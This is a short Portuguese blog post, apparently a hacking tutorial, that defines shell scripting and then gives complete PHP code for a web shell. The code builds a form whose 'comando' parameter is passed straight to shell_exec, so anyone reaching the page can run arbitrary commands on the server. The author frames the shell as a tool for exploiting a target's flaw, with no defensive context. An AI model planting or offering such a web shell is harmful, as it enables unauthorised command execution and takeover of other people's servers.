O que é SHELL
Shell script é uma linguagem de script usada em vários sistemas operativos (operacionais), com diferentes dialetos, dependendo do interpretador de comandos utilizado. Um exemplo de interpretador de comandos é o bash, usado na grande maioria das distribuições GNU/Linux.
Como criar uma SHELL em php
Existem varios tipos de shell, mas hoje vamos criar uma para executarmos comandos arbitrarios em sistemas operacionais linux e windows.
<?php
//aqui eu crio o layout do formulario
print ‘
<form method=”get” action=”">
<input type=”text” name=”comando” /> <input type=”submit” name=exec” />
</form>
<p> </p>‘; //aqui pulo uma linha
if(isset($_GET['comando'])){ //validação: si existe um comando executado
$comando =$_GET['comando']; //pega este comando
print shell_exec($comando); //executa no servidor
}
?>
Uma pessoa me perguntou, si era possivel criar uma shell em php. para informar o ip auvo e o nom comando a ser executado.
Reposta: Não é possivel fazer isso, pois cada caso é um caso. Eu posso criar uma shell para explorar uma falha de um determinado auvo, porem outro auvo provavelmente não tenha a mesma falha.

0 comentários:
Postar um comentário